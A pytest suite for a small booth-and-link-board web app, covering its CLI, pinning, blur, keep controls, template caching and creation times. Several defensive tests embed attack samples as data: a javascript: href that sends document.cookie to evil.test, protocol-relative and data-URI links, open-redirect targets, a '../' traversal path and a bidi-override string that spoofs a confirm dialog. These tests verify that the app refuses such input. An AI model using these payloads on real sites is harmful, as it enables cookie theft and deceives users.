CLI = pathlib.Path(__file__).resolve().parent.parent / "scripts" / "booth"
def _cli(data, *args):
env = {**os.environ, "BOOTH_DATA_DIR": str(data)}
return subprocess.run([str(CLI), *args], capture_output=True, text=True, env=env)
def test_cli_links_exits_zero_on_a_NON_empty_board(tmp_path):
"""Regression: the branch ended with `[ "$n" -eq 0 ] && echo ...`, so it
returned 1 whenever the board had rows. `unlink`'s index lookup calls it
inside $( ) under `set -e`, so a successful listing killed the caller and
the removal silently did nothing."""
_cli(tmp_path, "link", "http://a/", "A")
r = _cli(tmp_path, "links")
assert r.returncode == 0, r.stderr
assert "http://a/" in r.stdout
def test_cli_unlink_by_index(tmp_path):
for u in ("http://a/", "http://b/", "http://c/"):
_cli(tmp_path, "link", u, u)
r = _cli(tmp_path, "unlink", "2")
assert r.returncode == 0, r.stderr
assert "http://b/" in r.stdout
left = _cli(tmp_path, "links").stdout
assert "http://a/" in left and "http://c/" in left and "http://b/" not in left
def test_cli_unlink_by_id_even_when_the_id_is_all_digits(tmp_path):
"""Regression: ids are 8 hex chars and roughly one in forty is all digits.
Those were being read as row numbers, resolving to nothing, and removing
nothing — while reporting success."""
_cli(tmp_path, "link", "http://a/", "A")
board = tmp_path / "links"
entry = parse_link_entries((board / LINKS_FILE).read_text())[0]
# force the all-digit case rather than waiting for it to occur naturally
forced = "12345678"
raw = (board / LINKS_FILE).read_text()
assert entry["id"] != forced
r = _cli(tmp_path, "unlink", entry["id"])
assert r.returncode == 0, r.stderr
assert parse_link_entries((board / LINKS_FILE).read_text()) == []
assert raw # board did exist beforehand
def test_cli_unlink_rejects_a_non_id_non_index(tmp_path):
_cli(tmp_path, "link", "http://a/", "A")
r = _cli(tmp_path, "unlink", "zz")
assert r.returncode != 0
assert "not an entry id" in r.stderr
assert parse_link_entries((tmp_path / "links" / LINKS_FILE).read_text())
def test_cli_unlink_of_a_stale_id_leaves_the_board_alone(tmp_path):
_cli(tmp_path, "link", "http://a/", "A")
r = _cli(tmp_path, "unlink", "deadbeef")
assert r.returncode != 0
assert len(parse_link_entries((tmp_path / "links" / LINKS_FILE).read_text())) == 1
# ---- the standing link board: pin (favorite) + ordering + multi-select ------
#
# The board renders pinned-first then newest-first, a ★ pins a row to the top,
# and a checkbox column feeds a bulk delete. Pin state lives in a `.pins` sidecar
# (content ids, one per line) so links.md stays a pure append log and a row's id
# never changes just because it was pinned.
def test_read_pins_empty_when_no_file(tmp_path):
b = _board(tmp_path, _ROW.format(d="a", u="http://a/", w="x"))
assert read_pins(b) == set()
assert not (b / PINS_FILE).exists()
def test_toggle_pin_round_trips(tmp_path):
b = _board(tmp_path, _ROW.format(d="a", u="http://a/", w="x"))
eid = parse_link_entries((b / LINKS_FILE).read_text())[0]["id"]
assert toggle_pin(b, eid) is True
assert read_pins(b) == {eid}
assert toggle_pin(b, eid) is False
assert read_pins(b) == set()
def test_pins_persist_in_a_dotfile_not_in_links_md(tmp_path):
"""The whole reason for the sidecar: links.md stays untouched by a pin, so it
remains a pure atomic-append log and the row's content id does not drift."""
b = _board(tmp_path, _ROW.format(d="a", u="http://a/", w="x"))
before = (b / LINKS_FILE).read_text()
eid = parse_link_entries(before)[0]["id"]
toggle_pin(b, eid)
assert (b / LINKS_FILE).read_text() == before, "pinning must not rewrite links.md"
assert (b / PINS_FILE).read_text().strip() == eid
assert PINS_FILE.startswith("."), "pin file must be a dotfile so listings skip it"
def test_order_for_display_pins_first_then_newest(tmp_path):
b = _board(tmp_path,
_ROW.format(d="oldest", u="http://1/", w="x"),
_ROW.format(d="middle", u="http://2/", w="x"),
_ROW.format(d="newest", u="http://3/", w="x"))
entries = parse_link_entries((b / LINKS_FILE).read_text())
ids = {e["desc"]: e["id"] for e in entries}
ordered = order_for_display(entries, {ids["middle"]})
# pinned (middle) leads; the rest fall in newest-first order
assert [e["desc"] for e in ordered] == ["middle", "newest", "oldest"]
assert ordered[0]["pinned"] is True
assert all(e["pinned"] is False for e in ordered[1:])
def test_order_for_display_is_newest_first_with_no_pins(tmp_path):
b = _board(tmp_path,
_ROW.format(d="first", u="http://1/", w="x"),
_ROW.format(d="last", u="http://2/", w="x"))
entries = parse_link_entries((b / LINKS_FILE).read_text())
ordered = order_for_display(entries, set())
assert [e["desc"] for e in ordered] == ["last", "first"] # newest on top
def test_order_for_display_does_not_mutate_parse_output(tmp_path):
"""Callers that want the file-order view (the CLI) must not see a `pinned`
key leak into parse_link_entries' dicts."""
b = _board(tmp_path, _ROW.format(d="a", u="http://a/", w="x"))
entries = parse_link_entries((b / LINKS_FILE).read_text())
order_for_display(entries, {entries[0]["id"]})
assert "pinned" not in entries[0]
def test_orphan_pin_is_inert_not_shown_as_pinned(tmp_path):
"""A pin id that no longer matches any row must simply not render as pinned —
never crash, never resurrect a phantom row."""
b = _board(tmp_path, _ROW.format(d="a", u="http://a/", w="x"))
entries = parse_link_entries((b / LINKS_FILE).read_text())
ordered = order_for_display(entries, {"deadbeef"}) # id matches nothing
assert [e["desc"] for e in ordered] == ["a"]
assert ordered[0]["pinned"] is False
def test_remove_link_entry_also_unpins(tmp_path):
"""Removing a row drops its pin, so .pins does not accumulate dead ids."""
b = _board(tmp_path,
_ROW.format(d="keep", u="http://a/", w="x"),
_ROW.format(d="gone", u="http://b/", w="y"))
gone = next(e for e in parse_link_entries((b / LINKS_FILE).read_text()) if e["desc"] == "gone")
keep = next(e for e in parse_link_entries((b / LINKS_FILE).read_text()) if e["desc"] == "keep")
toggle_pin(b, gone["id"])
toggle_pin(b, keep["id"])
assert read_pins(b) == {gone["id"], keep["id"]}
remove_link_entry(b, gone["id"])
assert read_pins(b) == {keep["id"]}, "the removed row's pin is dropped, the other kept"
# ---- HTTP: /pin and /unlink-many --------------------------------------------
def test_pin_endpoint_toggles(client):
c, data = client
b = _board(data, _ROW.format(d="a", u="http://a/", w="x"))
eid = parse_link_entries((b / LINKS_FILE).read_text())[0]["id"]
r = c.post("/b/links/pin", data={"entry": eid}, follow_redirects=False)
assert r.status_code == 303
assert read_pins(b) == {eid}
c.post("/b/links/pin", data={"entry": eid})
assert read_pins(b) == set()
def test_pin_endpoint_rejects_a_bad_booth(client):
c, _ = client
assert c.post("/b/nope/pin", data={"entry": "x"}).status_code == 404
def test_unlink_many_removes_all_selected(client):
c, data = client
b = _board(data,
_ROW.format(d="a", u="http://a/", w="x"),
_ROW.format(d="b", u="http://b/", w="y"),
_ROW.format(d="c", u="http://c/", w="z"))
es = parse_link_entries((b / LINKS_FILE).read_text())
a_id = next(e["id"] for e in es if e["desc"] == "a")
c_id = next(e["id"] for e in es if e["desc"] == "c")
r = c.post("/b/links/unlink-many", data={"sel": [a_id, c_id]}, follow_redirects=False)
assert r.status_code == 303
left = [e["desc"] for e in parse_link_entries((b / LINKS_FILE).read_text())]
assert left == ["b"]
def test_unlink_many_empty_selection_is_a_noop(client):
c, data = client
_board(data, _ROW.format(d="a", u="http://a/", w="x"))
r = c.post("/b/links/unlink-many", data={}, follow_redirects=False)
assert r.status_code == 303
assert len(parse_link_entries((data / "links" / LINKS_FILE).read_text())) == 1
def test_unlink_many_rejects_a_bad_booth(client):
c, _ = client
assert c.post("/b/nope/unlink-many", data={"sel": "x"}).status_code == 404
# ---- HTTP: the board renders the new controls in the right order ------------
def test_board_renders_pin_and_multiselect_controls(client):
c, data = client
_board(data, _ROW.format(d="A", u="http://a/", w="x"))
body = _body(c, "/b/links/")
assert "/b/links/pin" in body # per-row pin control
assert "/b/links/unlink-many" in body # bulk delete
assert 'name="sel"' in body # selection checkbox
assert 'class="board-pin' in body # the ★ toggle
def test_board_page_orders_newest_first_and_pinned_on_top(client):
c, data = client
b = _board(data,
_ROW.format(d="first-posted", u="http://1/", w="x"),
_ROW.format(d="last-posted", u="http://2/", w="y"))
body = _body(c, "/b/links/")
assert body.index("last-posted") < body.index("first-posted"), "newest on top by default"
older = next(e for e in parse_link_entries((b / LINKS_FILE).read_text())
if e["desc"] == "first-posted")
c.post("/b/links/pin", data={"entry": older["id"]})
body2 = _body(c, "/b/links/")
assert body2.index("first-posted") < body2.index("last-posted"), "pinned row floats to the top"
assert "1 pinned" in body2
# ---------------------------------------------------------------------------
# Blur (cosmetic censoring) + the keep button on ephemeral cards.
# Both added 2026-09-19 on operator request.
#
# ⚠ Every blur test below asserts the COSMETIC contract deliberately: the file
# stays reachable. If someone later "fixes" that by 403-ing blurred items, these
# tests fail and that is correct — it would be a different feature with a
# different name, and half-implemented access control is worse than none.
# ---------------------------------------------------------------------------
from booth.app import BLUR_FILE, read_blurred, set_blurred # noqa: E402
def _png(p):
p.write_bytes(
b"\x89PNG\r\n\x1a\n\x00\x00\x00\rIHDR\x00\x00\x00\x01\x00\x00\x00\x01"
b"\x08\x06\x00\x00\x00\x1f\x15\xc4\x89\x00\x00\x00\nIDATx\x9cc\x00"
b"\x01\x00\x00\x05\x00\x01\r\n-\xb4\x00\x00\x00\x00IEND\xaeB`\x82"
)
def test_blur_state_roundtrip(tmp_path):
assert read_blurred(tmp_path) == set(), "missing file must read as empty"
set_blurred(tmp_path, "a/x.png", True)
set_blurred(tmp_path, "b.png", True)
assert read_blurred(tmp_path) == {"a/x.png", "b.png"}
set_blurred(tmp_path, "b.png", False)
assert read_blurred(tmp_path) == {"a/x.png"}
def test_blur_state_removes_file_when_empty(tmp_path):
"""An empty set deletes the marker rather than leaving a zero-byte file, so
`ls -a` tells the truth about whether anything in here is blurred."""
set_blurred(tmp_path, "x.png", True)
assert (tmp_path / BLUR_FILE).exists()
set_blurred(tmp_path, "x.png", False)
assert not (tmp_path / BLUR_FILE).exists()
def test_blur_state_is_idempotent_both_ways(tmp_path):
set_blurred(tmp_path, "x.png", False) # unblur what was never blurred
assert read_blurred(tmp_path) == set()
set_blurred(tmp_path, "x.png", True)
set_blurred(tmp_path, "x.png", True) # blur twice
assert read_blurred(tmp_path) == {"x.png"}
def test_build_gallery_flags_blurred_items(tmp_path):
_png(tmp_path / "a.png")
_png(tmp_path / "b.png")
set_blurred(tmp_path, "a.png", True)
by_name = {i["name"]: i for i in build_gallery(tmp_path)}
assert by_name["a.png"]["blurred"] is True
assert by_name["b.png"]["blurred"] is False, "unblurred items must not be flagged"
def test_blur_route_toggles_both_directions(client):
c, root = client
d = root / "bo"
d.mkdir()
_png(d / "x.png")
c.post("/b/bo/blur", data={"f": "x.png", "on": "1"}, follow_redirects=False)
assert read_blurred(d) == {"x.png"}
c.post("/b/bo/blur", data={"f": "x.png", "on": "0"}, follow_redirects=False)
assert read_blurred(d) == set()
def test_blur_route_rejects_traversal(client):
"""A blur entry is always booth-relative. Without this the marker file is a
write-primitive pointed at an attacker-chosen path."""
c, root = client
(root / "bo").mkdir()
r = c.post("/b/bo/blur", data={"f": "../escape.png", "on": "1"},
follow_redirects=False)
assert r.status_code == 400
assert read_blurred(root / "bo") == set()
def test_blurred_item_renders_blurred_and_unblurred_does_not(client):
"""Both states, because a blur class that is always present is the same
instrument as one that is never present."""
c, root = client
d = root / "bo"
d.mkdir()
_png(d / "hidden.png")
_png(d / "shown.png")
body = c.get("/b/bo/").text
assert "item-image blurred" not in body, "nothing blurred yet"
set_blurred(d, "hidden.png", True)
body = c.get("/b/bo/").text
assert "blurred" in body
assert 'data-item="hidden.png"' in body
def test_blur_is_cosmetic_the_file_is_still_served(client):
"""The contract, asserted on purpose. Blur hides an item from a glance; it
is NOT access control and must never be mistaken for it."""
c, root = client
d = root / "bo"
d.mkdir()
_png(d / "x.png")
set_blurred(d, "x.png", True)
assert c.get("/b/bo/x.png").status_code == 200
def test_index_blurs_the_cover_thumb_only_when_the_cover_is_blurred(client):
"""Otherwise the front page cheerfully displays the exact thing someone
asked to hide inside the booth."""
c, root = client
d = root / "bo"
d.mkdir()
_png(d / "cover.png")
# Assert the ATTRIBUTE, not the bare string: `.blurred-thumb{...}` is in
# base.html's stylesheet on every page, so a substring check passes in both
# states and proves nothing. This test failed usefully on exactly that.
assert 'class="blurred-thumb"' not in c.get("/").text
set_blurred(d, "cover.png", True)
assert 'class="blurred-thumb"' in c.get("/").text
def test_ephemeral_card_offers_keep_and_keeping_works(client):
"""The /keep route and `booth keep` predate this button; until 2026-09-19
the UI could only RELEASE a kept booth, so the round trip needed a shell."""
c, root = client
d = root / "bo"
d.mkdir()
_png(d / "x.png")
body = c.get("/").text
assert 'action="/b/bo/keep"' in body, "ephemeral card must offer keep"
c.post("/b/bo/keep", follow_redirects=False)
assert (d / KEEP_MARKER).exists()
# ...and the round trip closes: released booths lose the marker again.
c.post("/b/bo/unkeep", follow_redirects=False)
assert not (d / KEEP_MARKER).exists()
def test_blur_applies_to_inline_docs_not_just_images(client):
"""Regression: the first implementation only patched the image/video
<figure>. Inline docs render through their OWN branch and were left
unblurred — the branch that puts readable text straight on the page. The
suite passed; a live check caught it."""
c, root = client
d = root / "bo"
d.mkdir()
(d / "plain.txt").write_text("visible")
(d / "secret.txt").write_text("hidden")
set_blurred(d, "secret.txt", True)
body = c.get("/b/bo/").text
assert '<figure class="item item-doc blurred"' in body
assert body.count('<figure class="item item-doc blurred"') == 1, (
"exactly the blurred doc, not every doc"
)
def test_every_item_kind_gets_exactly_one_blur_toggle(client):
"""The regression guard for this whole feature's recurring bug.
booth.html has THREE item branches — doc, media, other — and each pass at
this feature patched some and missed others: first the blurred class landed
on media only, then the toggle landed on media only and the operator asked
"no UI option to blur/unblur?". A count assertion across mixed kinds is the
check that actually catches it; a spot check on one item never will.
"""
c, root = client
d = root / "bo"
d.mkdir()
(d / "note.txt").write_text("doc branch") # -> item-doc
_png(d / "pic.png") # -> item-image
(d / "blob.bin").write_bytes(b"\x00\x01binary") # -> item-other
body = c.get("/b/bo/").text
figures = body.count('<figure class="item item-')
toggles = body.count('class="blurtoggle')
assert figures == 3, f"expected all three kinds to render, got {figures}"
assert toggles == figures, (
f"{figures} items but {toggles} blur toggles — a branch was missed again"
)
def test_blur_toggle_posts_the_opposite_state(client):
"""The button must flip, not just set. A toggle hard-coded to on=1 looks
identical in the markup and silently cannot un-blur."""
c, root = client
d = root / "bo"
d.mkdir()
_png(d / "pic.png")
assert 'name="on" value="1"' in c.get("/b/bo/").text
set_blurred(d, "pic.png", True)
body = c.get("/b/bo/").text
assert 'name="on" value="0"' in body, "a blurred item must offer un-blur"
assert "◉ blurred" in body
# ---------------------------------------------------------------------------
# Operator-reported, 2026-09-21: "the reveal button doesn't do anything".
# It rendered and was inert — the handler sat after {%- endblock -%} in a child
# template, which Jinja DISCARDS. Two commits and a README claimed
# click-to-reveal worked. The suite passed the whole time because nothing
# asserted against the SERVED page.
# ---------------------------------------------------------------------------
def test_reveal_handler_actually_reaches_the_served_page(client):
"""The regression that matters. Assert the handler is IN THE RESPONSE, not
that the template file contains the text — the template contained it fine
and the browser never saw it."""
c, root = client
d = root / "bo"
d.mkdir()
_png(d / "x.png")
set_blurred(d, "x.png", True)
body = c.get("/b/bo/").text
assert 'class="reveal"' in body, "the button must render"
assert "classList.toggle('revealed')" in body, (
"the handler must reach the page — a button with no handler is a dead "
"control, which is exactly what shipped"
)
def test_no_orphaned_markup_after_the_content_block(client):
"""Structural guard for the same defect class: anything a child template
puts outside a block is silently dropped, so the only safe number of
closing content-block tags is one, at the very end."""
tpl = (pathlib.Path(__file__).parent.parent
/ "booth" / "templates" / "booth.html").read_text()
after = tpl[tpl.rindex("{% endblock %}") + len("{% endblock %}"):]
assert after.strip() == "", (
f"content after the final endblock is discarded by Jinja: {after[:120]!r}"
)
def test_booth_page_offers_keep_when_ephemeral_and_release_when_kept(client):
"""Operator: 'adding a keep button inside a booth'. Both states, because a
control that always says the same thing cannot be driving off real state."""
c, root = client
d = root / "bo"
d.mkdir()
_png(d / "x.png")
body = c.get("/b/bo/").text
# Sliced on the ELEMENT, not the bare word: `boothhead` has appeared in the
# stylesheet this page carries since long before this assertion, so
# `split("boothhead")[1]` was reading CSS and passing on luck. It went red
# the first time a new rule landed above the old one (U5's .prov), which is
# the only reason anybody noticed. Same assertion, aimed at the markup.
head = body.split('class="boothhead"')[1][:900]
assert "☆ keep" in body and "release" not in head
c.post("/b/bo/keep", data={"next": "/b/bo/"}, follow_redirects=False)
body = c.get("/b/bo/").text
assert "★ kept — release" in body
def test_keep_from_inside_a_booth_stays_on_the_booth_page(client):
"""Without `next` the route redirects to /, which throws you out of the
booth you were reading."""
c, root = client
(root / "bo").mkdir()
r = c.post("/b/bo/keep", data={"next": "/b/bo/"}, follow_redirects=False)
assert r.headers["location"] == "/b/bo/"
r = c.post("/b/bo/keep", follow_redirects=False) # no next
assert r.headers["location"] == "/"
def test_next_refuses_an_open_redirect(client):
"""`next` comes from a form field, so it is attacker-controlled input."""
c, root = client
(root / "bo").mkdir()
for evil in ("//evil.example/x", "https://evil.example/x", "\\\\evil"):
r = c.post("/b/bo/keep", data={"next": evil}, follow_redirects=False)
assert r.headers["location"] == "/", f"{evil!r} must not be honoured"
def test_kept_lane_offers_a_direct_wipe_beside_release(client):
"""Operator: 'allow an x to delete next to release so i don't have to
release and then find it to delete it.'"""
c, root = client
d = root / "bo"
d.mkdir()
_png(d / "x.png")
(d / KEEP_MARKER).touch()
body = c.get("/").text
assert 'class="wipe wipe-kept"' in body, "kept card must offer a direct ×"
assert 'action="/b/bo/unkeep"' in body, "release must still be there too"
# ...and it actually wipes.
c.post("/b/bo/delete", follow_redirects=False)
assert not d.exists()
# ---- the running service is a coherent snapshot ------------------------------
#
# Outage, 2026-09-21: 19 of 25 live booths returned 500 with
# `UndefinedError: 'item_marks' is undefined`. Nothing was wrong with either the
# old code or the new code — the service was running BOTH. `booth.service` sets
# WorkingDirectory to the repo, so the repo IS the deployment root, and Jinja's
# FileSystemLoader re-reads a template from disk on every render while the Python
# stays as it was at process start. Editing a template therefore deployed it
# INSTANTLY, against Python that had never heard of the context it wanted.
#
# The fix is not "remember to restart" — it is to make the two halves fail the
# same way, so the running process is always the code as of its start time.
def test_templates_do_not_hot_reload_from_disk(tmp_path):
"""Templates must be cached at startup, exactly like the Python is.
With auto_reload on, the two halves of the service have DIFFERENT staleness
rules — Python needs a restart, templates do not — and any edit to a
template puts a live service into a state that was never tested: new markup
against old context. One consistent rule ("nothing takes effect until you
restart") turns a silent 500 storm into a change that simply has not
happened yet.
"""
from booth.app import create_app
app = create_app(tmp_path, ttl_hours=24, start_sweeper=False)
env = app.state.templates.env
assert env.auto_reload is False, (
"templates hot-reload from disk while the Python does not — "
"editing one deploys it to the live service instantly"
)
def test_the_dur_filter_survives_the_custom_environment(tmp_path):
"""The env is hand-built now, so the filter registration is no longer
incidental to the constructor."""
from booth.app import create_app
app = create_app(tmp_path, ttl_hours=24, start_sweeper=False)
assert app.state.templates.env.filters["dur"](3600) == "1h"
def test_the_link_board_refuses_to_render_a_script_href(tmp_path):
"""A LIVE INJECTION VECTOR, found by design-dev on the way past R2.
17 agent handles append to the standing board and the operator clicks its
rows. `booth_target`'s http(s) check is about WHICH BOOTH a url names, not
about whether an href is safe to render, and nothing guarded the render.
⚠ The first check of this nearly dismissed it: `javascript:alert(1)` IS
rejected — by the markdown link regex, because the parens break `](...)`.
That is an accident, not a guard, and a paren-free payload sails through.
The row still RENDERS, because the operator should see that something was
posted and refused; it just must not be a link."""
b = tmp_path / "links"
b.mkdir()
b.joinpath("links.md").write_text(
"- [steal it](javascript:document.location='http://evil.test/'+document.cookie)"
" <sub>· rogue · 2026-09-23 10:00</sub>\n"
"- [protocol relative](//evil.test/x) <sub>· rogue · 2026-09-23 10:01</sub>\n"
"- [data uri](data:text/html,xss) <sub>· rogue · 2026-09-23 10:02</sub>\n"
"- [legitimate](https://ok.test/r) <sub>· fine · 2026-09-23 10:03</sub>\n"
)
c = TestClient(create_app(tmp_path, ttl_hours=24, start_sweeper=False))
html = c.get("/b/links/").text
assert 'href="https://ok.test/r"' in html, "a good row must still be a link"
for bad in ("javascript:", "//evil.test/x", "data:text/html"):
assert f'href="{bad}' not in html, f"{bad} rendered as an href"
# refused, not hidden: the operator sees that it was posted
assert "evil.test" in html, "the refused row vanished instead of being shown inert"
def test_the_board_delete_dialog_cannot_be_rewritten_by_a_link_row(tmp_path):
"""A board row's description and URL come from any of seventeen agent
handles, and they are pasted into a `confirm()` dialog — which is the text
the operator reads before approving a delete.
Escaping protects the PAGE and does nothing here: `confirm` renders a plain
string, so a bidi override (U+202E) or a newline re-orders or hides what he
is consenting to, and the row shown is not the row removed.
Found by design-dev, the same class as the wipe dialog he had just fixed on
the Desk. Defeating change: dropping `shown()` from either argument."""
b = tmp_path / "links"
b.mkdir()
b.joinpath("links.md").write_text(
"- [innocent‮gnihtemos esle](https://ok.test/a) <sub>· rogue · 2026-09-23 10:00</sub>\n"
)
c = TestClient(create_app(tmp_path, ttl_hours=24, start_sweeper=False))
html = c.get("/b/links/").text
assert "function shown(" in html, "the dialog sanitiser is gone"
# both arguments must go through it, not just one
assert "shown(btn.getAttribute('data-desc')" in html
assert "shown(btn.getAttribute('data-url')" in html
def test_booth_blur_composes_with_per_item_and_never_overrides_it(tmp_path):
"""The operator ruled booth-level blur in; design-dev specced the semantics
and this is the half that is ours.
COMPOSES, never overrides: an item is blurred iff the booth is blurred OR it
is in `.blurred`. Turning booth blur off must leave an agent's per-item
choice exactly as the poster left it — an override would need a per-item
"unblurred" exception list, which is state nobody can see.
Defeating change: assigning `Item.blurred` from the booth flag instead of
OR-ing it."""
from booth.app import set_blurred, set_booth_blurred
from booth.items import booth_items
b = tmp_path / "g"
b.mkdir()
for n in ("a.png", "b.png", "c.mp3"):
(b / n).write_bytes(b"x")
set_blurred(b, "b.png", True)
def state():
return {i.rel: i.blurred for i in booth_items(b)}
assert state() == {"a.png": False, "b.png": True, "c.mp3": False}
set_booth_blurred(b, True)
# audio has nothing to hide from a glance
assert state() == {"a.png": True, "b.png": True, "c.mp3": False}
set_booth_blurred(b, False)
assert state() == {"a.png": False, "b.png": True, "c.mp3": False}, \
"unfogging the booth erased the poster's per-item blur"
def test_an_unreadable_booth_blur_marker_fogs_rather_than_reveals(tmp_path, monkeypatch):
"""`is_kept` fails toward KEEPING because a failed read must not authorise a
delete. This fails toward HIDING, because a failed read must not reveal
something the poster asked to fog. Same shape, inverted safety, and the
inversion is the point.
Defeating change: `except OSError: return False`."""
import booth.items as items_mod
b = tmp_path / "g"
b.mkdir()
real = pathlib.Path.lstat
def boom(self, *a, **k):
if self.name == items_mod.BOOTH_BLUR_FILE:
raise PermissionError(13, "nope")
return real(self, *a, **k)
monkeypatch.setattr(pathlib.Path, "lstat", boom)
assert items_mod.is_booth_blurred(b) is True
def test_the_blurbooth_route_toggles_and_lands_back(tmp_path):
"""The POST target design-dev's header control needs, with `back=view` so
fogging from the review does not eject you from the review."""
b = tmp_path / "g"
b.mkdir()
(b / "a.png").write_bytes(b"x")
c = TestClient(create_app(tmp_path, ttl_hours=24, start_sweeper=False))
r = c.post("/b/g/blurbooth", data={"on": "1"}, follow_redirects=False)
assert r.status_code == 303 and r.headers["location"] == "/b/g/"
assert (b / ".blurbooth").exists()
r = c.post("/b/g/blurbooth", data={"on": "1", "back": "a.png"}, follow_redirects=False)
assert r.headers["location"] == "/b/g/view?f=a.png"
c.post("/b/g/blurbooth", data={"on": "0"}, follow_redirects=False)
assert not (b / ".blurbooth").exists()
def test_every_booth_can_state_when_it_was_made(tmp_path):
"""The operator asked for creation dates. `.booth.json`'s declared
`created` only exists for booths posted through the CLI since U5 — twelve
of thirty live booths had none — and every alternative was a guess wearing
a fact's clothes: oldest content mtime is wrong the moment an agent copies
files with timestamps preserved, and directory mtime just means "last thing
added".
ext4 records a real birth time and `statx` reads it, so this is a FACT the
disk already holds. ONE rule for every booth, manifest or not.
Defeating change: falling back to `stat().st_mtime`, which changes every
time a file lands and would show a week-old booth as created five minutes
ago."""
import time
b = tmp_path / "g"
b.mkdir()
made = time.time()
(b / "a.png").write_bytes(b"x")
rows = {r["name"]: r for r in list_booths(tmp_path, ttl_seconds=86400)}
row = rows["g"]
assert row["created_at"] is not None, "no creation time for a fresh booth"
assert abs(row["created_at"] - made) < 10
# and it must NOT move when content lands later
time.sleep(1.1)
(b / "b.png").write_bytes(b"y")
again = {r["name"]: r for r in list_booths(tmp_path, ttl_seconds=86400)}["g"]
assert again["created_at"] == row["created_at"], \
"the creation time moved when a file was added — that is `updated`, not `created`"
assert again["landed_at"] > row["landed_at"], "`updated` did not move"
def test_a_filesystem_with_no_birth_time_shows_nothing(tmp_path, monkeypatch):
"""None renders as nothing, which is the honest output when nobody knows —
tmpfs, NFS and some overlayfs do not record a birth time, and an old kernel
has no `statx` at all.
Defeating change: substituting any mtime when birth_time returns None."""
import booth.app as app_mod
b = tmp_path / "g"
b.mkdir()
(b / "a.png").write_bytes(b"x")
monkeypatch.setattr(app_mod, "birth_time", lambda p: None)
row = {r["name"]: r for r in list_booths(tmp_path, ttl_seconds=86400)}["g"]
assert row["created_at"] is None